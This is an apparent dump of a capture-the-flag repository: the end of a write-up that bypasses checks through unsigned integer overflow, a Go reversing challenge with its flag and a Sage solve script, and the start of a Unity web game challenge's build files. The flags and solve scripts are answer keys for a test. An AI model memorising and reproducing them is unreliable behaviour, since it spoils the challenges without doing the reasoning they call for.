`\x02\x01\x01\x01\x89`. ## Check 2 For this check, we need to find "good" `x` and `y` such that `x + y == r` and also `(x * y) & 0xffff` has many factors of `2`. Recall that unsigned integers are in the range `[0, 2^32)`, and anything that goes above "overflows" back to `0` (i.e. `2^32` becomes `0`, and `2^32 + 1` becomes `1`). Since our inputs need to both be more than `r`, abusing this overflow is the only way we can make their sum be equal to `r`. If `r = 31482` for example, a good choice for `x` and `y` would be `x = r + 2^14` and `y = 2^32 - 2^14`. Then, `x + y = (r + 2^14) + (2^32 - 2^14) = r + 2^32 = r`, so it passes the initial check. Furthermore, `x * y = (r + 2^14) * (2^32 - 2^14) = 2^32 * r - 2^14 * r + 2^46 - 2^28` when the `& 0xffff` operation is performed, we are left with `2**15` which is perfect. ## Check 3 For this last check, we need the return value to have at least a factor of `2**14`. The values we send are: ``` x1 = 2 (or 1, depending on the parity of r) x2 = 3 x3 = 2^7 + x2 x4 = (r - x1 - 2 * x2 - 2^7 - 2^8) / 2 x5 = 2^8 + x4 ``` This passes the initial check because ``` x1 + x2 + x3 + x4 + x5 = x1 + 2^7 + 2 * x2 + 2^8 + (r - x1 - 2 * x2 - 2^7 - 2^8) = r ``` Furthermore, the return value `(x3 - x2) * (x5 - x4) & 0xffff` is ``` (x3 - x2) * (x5 - x4) = 2^7 * 2^8 = 2^15 ``` ## Loading the Flag From the first check, we should have gotten an output `x1` that is divisible by `2^3`. From the second check, we should have gotten an output `x2` that is divisible by `2^15`. And from the last check, we should have gotten an output `x3` that is divisible by `2^14`. Their product is therefore divisible by `2^32`, so when interpreted as an unsigned integer, it will be `0`. The `sleep` call is effectively bypassed, and we can load the flag :) ================================================ FILE: rev/flag-printer/README.md ================================================ # flag printer **Category:** reversing **Difficulty:** medium **Author:** joseph#8210 What more could you ask for than a program that prints out the flag for you? Just run it and the flag is yours! **Attached files:** - ./challenge/flag_printer (sha256: a9dd2b365f98d00730746de642f211a52f5eaf62cefb5ad85bf87244a7436e9b) ================================================ FILE: rev/flag-printer/challenge/flag.txt ================================================ DUCTF{g0tta_GO_f4sTtTTtt!11!1!!_1c5eff59b5e8814d7f92} ================================================ FILE: rev/flag-printer/challenge/flag_printer.go ================================================ package main import ( "fmt" "math/big" ) var X = [50][50]uint64{} var M = [50][50]uint64 { {12360658,3164667810,3174250802,697033209,139528530,358879236,1884536693,3056019465,1556957267,945325257,1500272620,1530963857,2626169693,894010163,131212255,393515820,1219562872,1281025178,1526954291,1047608923,2142827700,1309305937,2181030782,993149128,1488085348,3130343774,3398667168,2779185288,2765206427,2035886271,1050418536,2915626148,1843999063,1748919300,3662515079,343226658,727322753,1793737512,1068459295,2622148333,1526033248,3522082343,2238595599,1678141960,1960397115,385985387,2247888313,2839888888,678409675,844484049}, {1615620522,3324682526,1175112514,1251963849,922430708,3019203936,2138787202,939098216,1519524469,458044099,3537536201,1944245222,2321156481,1226040027,1279977241,2485884935,600012824,320678650,3529942739,544543837,3227953479,1273240513,34838828,3446788539,51072229,2835273865,2901443521,498069525,428143639,3639364742,904407740,714805677,3048945940,2176334651,1257919498,1250540774,1881583702,2047332825,3186814525,2325478587,2147844010,1287554373,791343228,2047487046,631292183,1740700926,691573975,3122341119,948587534,3667912295}, {3324351707,1965035735,848867791,3420112111,2439269107,2748626149,191723182,2300350902,1968817814,1628712619,2559012454,3360209780,3067396087,3331417429,1438539249,1550766183,129779530,226222335,2397461635,3419944237,2776460726,1742919674,1471796857,1018964758,2004146078,1517615,3158857147,1539372481,455093765,2290598016,2642063636,3223639649,2872665416,3282341302,1313014713,2708074906,3590277064,2402476061,1156968847,661897523,152583345,3148536395,3090713670,2745241183,3684982628,168554864,3131122411,59908344,3659254732,1939869525}, {2956322407,2682223193,2145703839,25183203,327083697,2084867616,1335920746,141336936,2746237983,2180894077,3318564631,2723609797,229535580,2322232146,3336910408,3159404088,257783298,3399683029,2704374917,781442655,1823542448,3669040241,1488653952,2403214670,1733331136,3039557393,3037512813,3368772977,1019742125,1574170358,2008273841,739464997,3418974601,2253269468,255376157,707817896,2661985244,1726878148,1831080972,1412734125,219278444,1249859505,960119440,2371885449,2990563293,3026024974,1612966825,669538040,1089362232,3687600328}, {1331037934,521067828,2702455296,2840624779,3508480078,3540232486,2371228576,1546395817,3064471032,1662218802,103934047,3456756812,393439166,2896274618,1467728979,3242979310,1179915363,215637193,2508338087,2427509669,2829954671,3306385585,1724997573,2786840004,2335633786,3426149502,2441843095,2777768181,3037214112,3244123105,2512341386,3440817431,1500058524,3486353375,794726090,3053533034,199768845,2455030068,1842016831,1728938928,1904966472,819547070,515931794,365594635,1524944948,1062101818,2646969235,3618312758,218187561,3664679984}, {183092490,90118331,3084000559,3280662539,750636853,2929906440,3342735256,715374696,2286314746,175408665,597902294,2347629646,2568852438,2198391602,2777234479,904301206,2772823889,1710269006,3395472457,2779014019,3107473326,2525758515,484902152,3712338837,3272169022,1433152399,1621149346,1141522396,544218147,3609629219,844025120,1854986668,2721088206,2202102084,1286186503,588113924,354423348,3502346626,3679497051,3107921455,1743345420,2889415762,3347606232,1030596301,3248742797,665752796,58380748,3131946549,2696584967,2107052619}, {2898185687,1705484801,1972671819,1600431853,3058746775,2645089103,1433124942,893378285,360554998,1655954565,3202903021,2029117986,1069419124,156975313,2159969464,2992327767,495718964,3215331356,3378830789,1750283094,757799731,3212600852,1744416118,2897342065,958222710,2125129684,120957069,2387268576,745852888,585462512,2061973462,753264371,132390356,1238778017,3637946954,196959958,1735247331,1977074706,3383249010,1087566953,3597806093,1225005441,3105258785,600948041,944948519,1657286187,2057185501,2572171858,3705516558,1907312396}, {1274962641,852481909,3640693291,3077694424,3632544564,3175799930,3431830581,1924344903,1815122172,1369349069,3633231048,292086541,3581261969,1743690489,1846138567,3177093398,876493618,318013533,1761606825,354850497,3585734770,383520317,3013864051,1634768282,2403053040,2542465478,1635990356,2726488558,2192588223,481863928,1306613510,1554409012,1185976111,3403144559,1379161083,1447604996,2316818873,1285125790,814457073,1374904803,1895133783,784051094,1408299663,3006704274,1940349714,938402245,856583102,3041121874,1481337216,1537929079}, {770540112,1309162334,1840967639,507553407,3297660501,2600493869,2888603720,1520510696,2608775370,1310928545,2525916692,3338828200,250980840,3600453368,709023189,451278278,2950232014,1822254149,1317898250,2089556943,1222039910,1762230515,3383286044,174068526,2432594394,3576311382,881179979,1503823199,2968938040,1130306514,1967563470,2475941588,1463095682,1784121660,3073661297,3675299255,750432719,551924414,3583155570,129534826,3132723773,156945304,2130396642,1389571378,58505703,298743161,1928448822,2538234897,1467313231,2425008606}, {3058107316,2020353736,206595472,1735812044,1875018076,2718116420,1494050135,413822610,2440692451,1703619374,1893980174,1332325686,2481167844,2020685460,3113382519,1107038029,3423754753,1760252656,675530399,1788643945,2405955391,3601393591,98335819,1797054689,510363616,132175905,1989619372,2054750116,765443703,50754731,13995875,500618183,3513335538,928119048,740769345,1290055784,1828754797,1035750035,1167895279,3676562081,2736550112,2915099913,2287625120,3226977019,537432614,567456255,3448580218,3724777304,2149069368,3599987539}, {3679258364,2091449116,2294295916,238242520,976034646,3030033323,1176270819,800116104,2149671627,3039582509,3649977576,1075379,3562202907,1825116015,3462484475,2120175262,2640391258,1668360134,313339901,1482724766,1831908323,966549135,131150491,3478976157,1956331924,1507698878,2847576260,640379944,489545362,2747564970,1552219309,2544152963,1329147195,176045122,978788734,2690374436,1925424163,528425356,134711637,2033968989,1619728652,3207207301,3492529134,2215440863,908307054,457998890,1848001189,1475865431,1079003089,2624027541}, {2320927571,805533778,3073845128,1415228808,1448458821,2596780268,3509598942,1199988025,3549382092,2946063491,2322301913,2487079491,580036955,2750595934,2091982036,3567529142,3430043867,2070995001,257742843,3550271035,2215241123,2790639060,2362925648,2690611037,714110115,1304981132,3063246343,1106429515,417205886,2576049566,239065021,1238645325,2867191522,1343499821,3068497337,3030639587,2884821068,1588110524,1170719047,1939396801,1452674163,1106537205,2390004761,3063520479,2927322038,1211220383,1526958227,3259904932,3144905103,3125110437}, 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{2679828270,1524260712,1898373347,1501574914,71191931,1744412944,2859120874,140306064,1647891267,100564867,807038880,1904405253,3390482759,3341926256,1479916775,1417055469,3002523121,3720962954,1711824149,1750231632,275791799,454011644,1261143730,3155318923,3173402406,1914975466,3720146551,3086559041,1149801504,1168353574,2527697326,3251160890,186714027,3417819418,244673216,706551115,1465962010,2739444153,2709998068,716502085,2073319403,572172128,2061873479,3247331073,3537856407,2008244223,3396379806,3213593742,2093329368,1542980394}, {1416960101,2446450232,2812831888,715252167,2753649519,1114351682,196443115,3010871017,1925975953,1174034806,1400802390,636288248,1899131533,2473662436,3002666043,1552754651,2747462881,271947,3147380456,2583270331,2467792115,730821059,300300665,225715461,525507938,807593978,1756147363,2769788146,1252259814,1016419751,2774270878,3683203618,2980878901,2121397732,2567271876,2382397220,2521849326,3719465372,1020409016,731369717,1776884914,1960819902,3389050553,1518348284,321078399,1227826911,3046682043,3143321285,110848790,649106031}, {149462953,649936592,1774957487,1070699070,916164905,2174971158,11805996,2545895,2082750657,725986402,941950720,2971423628,640732530,310065100,1649640191,3386237865,2247252013,1467376321,1939388912,1204475413,1541279505,618918704,3180912247,704340454,2325596758,1177756008,944054997,2886925952,499553249,3725600514,3186893187,1895930807,2058182451,2089629147,1509030820,813211298,1683383271,1325568098,520208985,878394667,2666301698,2522763771,2020828838,2944358956,3466091570,453576721,997893504,3759025543,3009133341,602236643}, {594896905,3617869389,3479784781,1748156598,2267196233,3545381859,1429344349,526952029,967439063,2579516509,814295492,34515690,2630880414,907797381,2653721688,1491037370,3252881935,833008477,106497783,1087962179,3028090195,1077467326,2846823471,3460805791,2161703788,59197078,3019364661,2283490770,844984715,3387169637,668244516,1967500565,2508894350,2444813634,501682468,1345548027,1790026742,1627526280,814638917,3272914594,1513395669,60770168,116053005,497652669,812647737,3632673217,2479431312,1877141180,1444704962,1326865387}, {213092281,1579632423,970910451,624932142,2065230860,1612258966,3131803777,1669741048,3169991843,2716567152,330926347,1185891827,1227833182,2341275726,2737648428,908133308,1070610949,3714774377,3662024745,2063116099,2461123463,584725935,1649807310,519032404,2432901708,1258948160,515786162,1992664596,1661829439,3126029013,1329617997,1600814767,3215343724,1282355027,549661843,2899105002,1455139081,949029597,1402495176,1344312222,244980405,3140241770,3206445699,387017856,2634939448,156047537,439732343,3212377642,803006456,2066843014}, {3595453426,3139767312,3346420938,1352876988,1823352019,1594699279,3641765463,3232079054,1319283505,1079616683,1216875479,2410701491,673958609,2543401509,2045505971,3269751652,871704239,1089115407,616268095,54335650,2964490483,1628809106,132373176,754207619,104906306,1372412843,2744148785,1932708804,1192744243,1029447420,3373360807,174531415,3514005063,2810979347,1306291625,3402300531,2155716836,1602233419,29162609,1826640511,2040271062,1689293441,3351578245,292743522,3704890187,2291286376,1829926797,2290879836,3147148886,431161274}, {632597651,204651939,2301258628,54989168,1168351348,2503668239,3294370181,233124526,2908523243,1210596319,703596728,610957244,1982447456,3229858407,2607045413,2212115125,3052883719,1563587094,3151868162,2814234722,118866535,2083288200,848901998,55362724,677467320,1743325507,513382024,2241382148,882174819,2229134515,2588240050,788076648,2367990188,2998458028,652545569,1608073636,2087280313,3723382373,654078468,3638578518,3037303131,1968490017,3394440942,2817707736,3615357125,755376642,545503952,1348123339,3553489172,1526971917}, } var p uint64 = 3766999387 var xs = []uint64{182, 710, 103, 47, 14, 212, 85, 196, 136, 52, 260, 20, 627, 474, 86, 3, 59, 199, 76, 141, 244, 73, 243, 124, 71, 67, 126, 162, 103, 78, 59, 41, 3, 415, 68, 41, 81, 6, 293, 24, 198, 134, 137, 406, 148, 57, 53, 150, 176, 96, 82, 371, 102} func Mul(A [50][50]uint64, B [50][50] uint64) [50][50]uint64 { C := [50][50]uint64{} for i := 0; i < 50; i++ { for j := 0; j < 50; j++ { for k := 0; k < 50; k++ { C[i][j] = (C[i][j] + A[i][k] * B[k][j]) % p } } } return C } func Sum(A [50][50]uint64) uint64 { var s uint64 = 0 for i := 0; i < 50; i++ { for j := 0; j < 50; j++ { s = (s + A[i][j]) % 127 } } return s } func main() { for i := 0; i < 50; i++ { for j := 0; j < 50; j++ { X[i][j] = M[i][j] } } y := big.NewInt(2) for _, x := range(xs) { var count_x uint64 = 0 count_y := big.NewInt(0) for count_y.Cmp(y) < 0 { X = Mul(X, M) count_y.Add(count_y, big.NewInt(1)) } for count_x < x { X = Mul(X, M) count_x += 1 } y.Mul(y, y) c := Sum(X) fmt.Printf("%c", rune(c)) } } ================================================ FILE: rev/flag-printer/challenge.yml ================================================ version: "0.1" id: flag-printer name: flag printer category: reversing description: > What more could you ask for than a program that prints out the flag for you? Just run it and the flag is yours! Author: joseph#8210 tags: - medium files: - ./challenge/flag_printer flags: - DUCTF{g0tta_GO_f4sTtTTtt!11!1!!_1c5eff59b5e8814d7f92} ================================================ FILE: rev/flag-printer/solve/data.py ================================================ M = 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================================================ FILE: rev/flag-printer/solve/solve.sage ================================================ from data import M xs = [182, 710, 103, 47, 14, 212, 85, 196, 136, 52, 260, 20, 627, 474, 86, 3, 59, 199, 76, 141, 244, 73, 243, 124, 71, 67, 126, 162, 103, 78, 59, 41, 3, 415, 68, 41, 81, 6, 293, 24, 198, 134, 137, 406, 148, 57, 53, 150, 176, 96, 82, 371, 102] p = 3766999387 F = GF(p) n = 50 MS = MatrixSpace(F, n) M = MS(M) D, P = M.diagonalization() def fast_exp(P, D, k): return P * MS.diagonal_matrix([x^k for x in D.diagonal()]) * ~P def sum_entries(M, p=127): return sum(map(int, M.list())) % p y = 2 FLAG = '' M_ = M for x in xs: M_ *= fast_exp(P, D, y + x) c = chr(sum_entries(M_)) y = (y*y) % (p-1) FLAG += c print(FLAG) ================================================ FILE: rev/gamer/Dockerfile ================================================ FROM caddy:2.4.3-alpine COPY ./challenge/Caddyfile /etc/caddy/Caddyfile COPY ./challenge/index.html /www/ COPY ./challenge/Build/ /www/Build/ COPY ./challenge/TemplateData/ /www/TemplateData/ ================================================ FILE: rev/gamer/README.md ================================================ # gamer **Category:** reversing **Difficulty:** medium **Author:** joseph#8210 Are you a pro gamer? Beat (hack) this game and prove it! [LINK TO GAME] ================================================ FILE: rev/gamer/challenge/Build/game.framework.js ================================================ function unityFramework(Module) { var Module=typeof Module!=="undefined"?Module:{};;var stackTraceReference="(^|\\n)(\\s+at\\s+|)jsStackTrace(\\s+\\(|@)([^\\n]+):\\d+:\\d+(\\)|)(\\n|$)";var stackTraceReferenceMatch=jsStackTrace().match(new RegExp(stackTraceReference));if(stackTraceReferenceMatch)Module.stackTraceRegExp=new RegExp(stackTraceReference.replace("([^\\n]+)",stackTraceReferenceMatch[4].replace(/[\\^${}[\]().*+?|]/g,"\\$&")).replace("jsStackTrace","[^\\n]+"));var abort=(function(what){if(ABORT)return;ABORT=true;EXITSTATUS=1;if(typeof ENVIRONMENT_IS_PTHREAD!=="undefined"&&ENVIRONMENT_IS_PTHREAD)console.error("Pthread aborting at "+(new Error).stack);if(what!==undefined){out(what);err(what);what=JSON.stringify(what)}else{what=""}var message="abort("+what+") at "+stackTrace();if(Module.abortHandler&&Module.abortHandler(message))return;throw message});if(typeof ENVIRONMENT_IS_PTHREAD==="undefined"||!ENVIRONMENT_IS_PTHREAD){Module["preRun"].push((function(){var unityFileSystemInit=Module["unityFileSystemInit"]||(function(){FS.mkdir("/idbfs");FS.mount(IDBFS,{},"/idbfs");Module.addRunDependency("JS_FileSystem_Mount");FS.syncfs(true,(function(err){if(err)console.log("IndexedDB is not available. Data will not persist in cache and PlayerPrefs will not be saved.");Module.removeRunDependency("JS_FileSystem_Mount")}))});unityFileSystemInit()}))}Module["SetFullscreen"]=(function(fullscreen){if(typeof runtimeInitialized==="undefined"||!runtimeInitialized){console.log("Runtime not initialized yet.")}else if(typeof JSEvents==="undefined"){console.log("Player not loaded yet.")}else{var tmp=JSEvents.canPerformEventHandlerRequests;JSEvents.canPerformEventHandlerRequests=(function(){return 1});Module.ccall("SetFullscreen",null,["number"],[fullscreen]);JSEvents.canPerformEventHandlerRequests=tmp}});var MediaDevices=[];if(typeof ENVIRONMENT_IS_PTHREAD==="undefined"||!ENVIRONMENT_IS_PTHREAD){Module["preRun"].push((function(){var enumerateMediaDevices=(function(){var getMedia=navigator.getUserMedia||navigator.webkitGetUserMedia||navigator.mozGetUserMedia||navigator.msGetUserMedia;if(!getMedia)return;function addDevice(label){label=label?label:"device #"+MediaDevices.length;var device={deviceName:label,refCount:0,video:null};MediaDevices.push(device)}if(!navigator.mediaDevices||!navigator.mediaDevices.enumerateDevices){if(typeof MediaStreamTrack=="undefined"||typeof MediaStreamTrack.getSources=="undefined"){console.log("Media Devices cannot be enumerated on this browser.");return}function gotSources(sourceInfos){for(var i=0;i!==sourceInfos.length;++i){var sourceInfo=sourceInfos[i];if(sourceInfo.kind==="video")addDevice(sourceInfo.label)}}MediaStreamTrack.getSources(gotSources)}navigator.mediaDevices.enumerateDevices().then((function(devices){devices.forEach((function(device){if(device.kind=="videoinput")addDevice(device.label)}))})).catch((function(err){console.log(err.name+": "+error.message)}))});enumerateMediaDevices()}))}function SendMessage(gameObject,func,param){if(param===undefined)Module.ccall("SendMessage",null,["string","string"],[gameObject,func]);else if(typeof param==="string")Module.ccall("SendMessageString",null,["string","string","string"],[gameObject,func,param]);else if(typeof param==="number")Module.ccall("SendMessageFloat",null,["string","string","number"],[gameObject,func,param]);else throw""+param+" is does not have a type which is supported by SendMessage."}Module["SendMessage"]=SendMessage;var moduleOverrides={};var key;for(key in Module){if(Module.hasOwnProperty(key)){moduleOverrides[key]=Module[key]}}Module["arguments"]=[];Module["thisProgram"]="./this.program";Module["quit"]=(function(status,toThrow){throw toThrow});Module["preRun"]=[];Module["postRun"]=[];var ENVIRONMENT_IS_WEB=false;var ENVIRONMENT_IS_WORKER=false;var ENVIRONMENT_IS_NODE=false;var ENVIRONMENT_IS_SHELL=false;ENVIRONMENT_IS_WEB=typeof window==="object";ENVIRONMENT_IS_WORKER=typeof importScripts==="function";ENVIRONMENT_IS_NODE=typeof process==="object"&&typeof require==="function"&&!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_WORKER;ENVIRONMENT_IS_SHELL=!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_NODE&&!ENVIRONMENT_IS_WORKER;var scriptDirectory="";function locateFile(path){if(Module["locateFile"]){return Module["locateFile"](path,scriptDirectory)}else{return scriptDirectory+path}}if(ENVIRONMENT_IS_NODE){scriptDirectory=__dirname+"/";var nodeFS;var nodePath;Module["read"]=function shell_read(filename,binary){var ret;if(!nodeFS)nodeFS=require("fs");if(!nodePath)nodePath=require("path");filename=nodePath["normalize"](filename);ret=nodeFS["readFileSync"](filename);return binary?ret:ret.toString()};Module["readBinary"]=function readBinary(filename){var ret=Module["read"](filename,true);if(!ret.buffer){ret=new Uint8Array(ret)}assert(ret.buffer);return ret};if(process["argv"].length>1){Module["thisProgram"]=process["argv"][1].replace(/\\/g,"/")}Module["arguments"]=process["argv"].slice(2);if(typeof module!=="undefined"){module["exports"]=Module}process["on"]("uncaughtException",(function(ex){if(!(ex instanceof ExitStatus)){throw ex}}));process["on"]("unhandledRejection",(function(reason,p){process["exit"](1)}));Module["quit"]=(function(status){process["exit"](status)});Module["inspect"]=(function(){return"[Emscripten Module object]"})}else if(ENVIRONMENT_IS_SHELL){if(typeof read!="undefined"){Module["read"]=function shell_read(f){return read(f)}}Module["readBinary"]=function readBinary(f){var data;if(typeof readbuffer==="function"){return new Uint8Array(readbuffer(f))}data=read(f,"binary");assert(typeof data==="object");return data};if(typeof scriptArgs!="undefined"){Module["arguments"]=scriptArgs}else if(typeof arguments!="undefined"){Module["arguments"]=arguments}if(typeof quit==="function"){Module["quit"]=(function(status){quit(status)})}}else if(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER){if(ENVIRONMENT_IS_WEB){if(document.currentScript){scriptDirectory=document.currentScript.src}}else{scriptDirectory=self.location.href}if(scriptDirectory.indexOf("blob:")!==0){scriptDirectory=scriptDirectory.split("/").slice(0,-1).join("/")+"/"}else{scriptDirectory=""}Module["read"]=function shell_read(url){var xhr=new XMLHttpRequest;xhr.open("GET",url,false);xhr.send(null);return xhr.responseText};if(ENVIRONMENT_IS_WORKER){Module["readBinary"]=function readBinary(url){var xhr=new XMLHttpRequest;xhr.open("GET",url,false);xhr.responseType="arraybuffer";xhr.send(null);return new Uint8Array(xhr.response)}}Module["readAsync"]=function readAsync(url,onload,onerror){var xhr=new XMLHttpRequest;xhr.open("GET",url,true);xhr.responseType="arraybuffer";xhr.onload=function xhr_onload(){if(xhr.status==200||xhr.status==0&&xhr.response){onload(xhr.response);return}onerror()};xhr.onerror=onerror;xhr.send(null)};Module["setWindowTitle"]=(function(title){document.title=title})}else{}var out=Module["print"]||(typeof console!=="undefined"?console.log.bind(console):typeof print!=="undefined"?print:null);var err=Module["printErr"]||(typeof printErr!=="undefined"?printErr:typeof console!=="undefined"&&console.warn.bind(console)||out);for(key in moduleOverrides){if(moduleOverrides.hasOwnProperty(key)){Module[key]=moduleOverrides[key]}}moduleOverrides=undefined;var STACK_ALIGN=16;function staticAlloc(size){var ret=STATICTOP;STATICTOP=STATICTOP+size+15&-16;return ret}function dynamicAlloc(size){var ret=HEAP32[DYNAMICTOP_PTR>>2];var end=ret+size+15&-16;HEAP32[DYNAMICTOP_PTR>>2]=end;if(end>=TOTAL_MEMORY){var success=enlargeMemory();if(!success){HEAP32[DYNAMICTOP_PTR>>2]=ret;return 0}}return ret}function alignMemory(size,factor){if(!factor)factor=STACK_ALIGN;var ret=size=Math.ceil(size/factor)*factor;return ret}function getNativeTypeSize(type){switch(type){case"i1":case"i8":return 1;case"i16":return 2;case"i32":return 4;case"i64":return 8;case"float":return 4;case"double":return 8;default:{if(type[type.length-1]==="*"){return 4}else if(type[0]==="i"){var bits=parseInt(type.substr(1));assert(bits%8===0);return bits/8}else{return 0}}}}function warnOnce(text){if(!warnOnce.shown)warnOnce.shown={};if(!warnOnce.shown[text]){warnOnce.shown[text]=1;err(text)}}var asm2wasmImports={"f64-rem":(function(x,y){return x%y}),"debugger":(function(){debugger})};var jsCallStartIndex=1;var functionPointers=new Array(0);function addFunction(func,sig){var base=0;for(var i=base;i>>0)+ +(high>>>0)*4294967296:+(low>>>0)+ +(high|0)*4294967296}function dynCall(sig,ptr,args){if(args&&args.length){return Module["dynCall_"+sig].apply(null,[ptr].concat(args))}else{return Module["dynCall_"+sig].call(null,ptr)}}var GLOBAL_BASE=1024;var ABORT=0;var EXITSTATUS=0;function assert(condition,text){if(!condition){abort("Assertion failed: "+text)}}function getCFunc(ident){var func=Module["_"+ident];assert(func,"Cannot call unknown function "+ident+", make sure it is exported");return func}var JSfuncs={"stackSave":(function(){stackSave()}),"stackRestore":(function(){stackRestore()}),"arrayToC":(function(arr){var ret=stackAlloc(arr.length);writeArrayToMemory(arr,ret);return ret}),"stringToC":(function(str){var ret=0;if(str!==null&&str!==undefined&&str!==0){var len=(str.length<<2)+1;ret=stackAlloc(len);stringToUTF8(str,ret,len)}return ret})};var toC={"string":JSfuncs["stringToC"],"array":JSfuncs["arrayToC"]};function ccall(ident,returnType,argTypes,args,opts){function convertReturnValue(ret){if(returnType==="string")return Pointer_stringify(ret);if(returnType==="boolean")return Boolean(ret);return ret}var func=getCFunc(ident);var cArgs=[];var stack=0;if(args){for(var i=0;i>0]=value;break;case"i8":HEAP8[ptr>>0]=value;break;case"i16":HEAP16[ptr>>1]=value;break;case"i32":HEAP32[ptr>>2]=value;break;case"i64":tempI64=[value>>>0,(tempDouble=value,+Math_abs(tempDouble)>=1?tempDouble>0?(Math_min(+Math_floor(tempDouble/4294967296),4294967295)|0)>>>0:~~+Math_ceil((tempDouble- +(~~tempDouble>>>0))/4294967296)>>>0:0)],HEAP32[ptr>>2]=tempI64[0],HEAP32[ptr+4>>2]=tempI64[1];break;case"float":HEAPF32[ptr>>2]=value;break;case"double":HEAPF64[ptr>>3]=value;break;default:abort("invalid type for setValue: "+type)}}var ALLOC_NORMAL=0;var ALLOC_STACK=1;var ALLOC_STATIC=2;var ALLOC_NONE=4;function allocate(slab,types,allocator,ptr){var zeroinit,size;if(typeof slab==="number"){zeroinit=true;size=slab}else{zeroinit=false;size=slab.length}var singleType=typeof types==="string"?types:null;var ret;if(allocator==ALLOC_NONE){ret=ptr}else{ret=[typeof _malloc==="function"?_malloc:staticAlloc,stackAlloc,staticAlloc,dynamicAlloc][allocator===undefined?ALLOC_STATIC:allocator](Math.max(size,singleType?1:types.length))}if(zeroinit){var stop;ptr=ret;assert((ret&3)==0);stop=ret+(size&~3);for(;ptr>2]=0}stop=ret+size;while(ptr>0]=0}return ret}if(singleType==="i8"){if(slab.subarray||slab.slice){HEAPU8.set(slab,ret)}else{HEAPU8.set(new Uint8Array(slab),ret)}return ret}var i=0,type,typeSize,previousType;while(i>0];hasUtf|=t;if(t==0&&!length)break;i++;if(length&&i==length)break}if(!length)length=i;var ret="";if(hasUtf<128){var MAX_CHUNK=1024;var curr;while(length>0){curr=String.fromCharCode.apply(String,HEAPU8.subarray(ptr,ptr+Math.min(length,MAX_CHUNK)));ret=ret?ret+curr:curr;ptr+=MAX_CHUNK;length-=MAX_CHUNK}return ret}return UTF8ToString(ptr)}var UTF8Decoder=typeof TextDecoder!=="undefined"?new TextDecoder("utf8"):undefined;function UTF8ArrayToString(u8Array,idx){var endPtr=idx;while(u8Array[endPtr])++endPtr;if(endPtr-idx>16&&u8Array.subarray&&UTF8Decoder){return UTF8Decoder.decode(u8Array.subarray(idx,endPtr))}else{var u0,u1,u2,u3,u4,u5;var str="";while(1){u0=u8Array[idx++];if(!u0)return str;if(!(u0&128)){str+=String.fromCharCode(u0);continue}u1=u8Array[idx++]&63;if((u0&224)==192){str+=String.fromCharCode((u0&31)<<6|u1);continue}u2=u8Array[idx++]&63;if((u0&240)==224){u0=(u0&15)<<12|u1<<6|u2}else{u3=u8Array[idx++]&63;if((u0&248)==240){u0=(u0&7)<<18|u1<<12|u2<<6|u3}else{u4=u8Array[idx++]&63;if((u0&252)==248){u0=(u0&3)<<24|u1<<18|u2<<12|u3<<6|u4}else{u5=u8Array[idx++]&63;u0=(u0&1)<<30|u1<<24|u2<<18|u3<<12|u4<<6|u5}}}if(u0<65536){str+=String.fromCharCode(u0)}else{var ch=u0-65536;str+=String.fromCharCode(55296|ch>>10,56320|ch&1023)}}}}function UTF8ToString(ptr){return UTF8ArrayToString(HEAPU8,ptr)}function stringToUTF8Array(str,outU8Array,outIdx,maxBytesToWrite){if(!(maxBytesToWrite>0))return 0;var startIdx=outIdx;var endIdx=outIdx+maxBytesToWrite-1;for(var i=0;i=55296&&u<=57343){var u1=str.charCodeAt(++i);u=65536+((u&1023)<<10)|u1&1023}if(u<=127){if(outIdx>=endIdx)break;outU8Array[outIdx++]=u}else if(u<=2047){if(outIdx+1>=endIdx)break;outU8Array[outIdx++]=192|u>>6;outU8Array[outIdx++]=128|u&63}else if(u<=65535){if(outIdx+2>=endIdx)break;outU8Array[outIdx++]=224|u>>12;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else if(u<=2097151){if(outIdx+3>=endIdx)break;outU8Array[outIdx++]=240|u>>18;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else if(u<=67108863){if(outIdx+4>=endIdx)break;outU8Array[outIdx++]=248|u>>24;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else{if(outIdx+5>=endIdx)break;outU8Array[outIdx++]=252|u>>30;outU8Array[outIdx++]=128|u>>24&63;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}}outU8Array[outIdx]=0;return outIdx-startIdx}function stringToUTF8(str,outPtr,maxBytesToWrite){return stringToUTF8Array(str,HEAPU8,outPtr,maxBytesToWrite)}function lengthBytesUTF8(str){var len=0;for(var i=0;i=55296&&u<=57343)u=65536+((u&1023)<<10)|str.charCodeAt(++i)&1023;if(u<=127){++len}else if(u<=2047){len+=2}else if(u<=65535){len+=3}else if(u<=2097151){len+=4}else if(u<=67108863){len+=5}else{len+=6}}return len}var UTF16Decoder=typeof TextDecoder!=="undefined"?new TextDecoder("utf-16le"):undefined;function allocateUTF8(str){var size=lengthBytesUTF8(str)+1;var ret=_malloc(size);if(ret)stringToUTF8Array(str,HEAP8,ret,size);return ret}function allocateUTF8OnStack(str){var size=lengthBytesUTF8(str)+1;var ret=stackAlloc(size);stringToUTF8Array(str,HEAP8,ret,size);return ret}function demangle(func){return func}function demangleAll(text){var regex=/__Z[\w\d_]+/g;return text.replace(regex,(function(x){var y=demangle(x);return x===y?x:x+" ["+y+"]"}))}function jsStackTrace(){var err=new Error;if(!err.stack){try{throw new Error(0)}catch(e){err=e}if(!err.stack){return"(no stack trace available)"}}return err.stack.toString()}function stackTrace(){var js=jsStackTrace();if(Module["extraStackTrace"])js+="\n"+Module["extraStackTrace"]();return demangleAll(js)}var PAGE_SIZE=16384;var WASM_PAGE_SIZE=65536;var ASMJS_PAGE_SIZE=16777216;var MIN_TOTAL_MEMORY=16777216;function alignUp(x,multiple){if(x%multiple>0){x+=multiple-x%multiple}return x}var buffer,HEAP8,HEAPU8,HEAP16,HEAPU16,HEAP32,HEAPU32,HEAPF32,HEAPF64;function updateGlobalBuffer(buf){Module["buffer"]=buffer=buf}function updateGlobalBufferViews(){Module["HEAP8"]=HEAP8=new Int8Array(buffer);Module["HEAP16"]=HEAP16=new 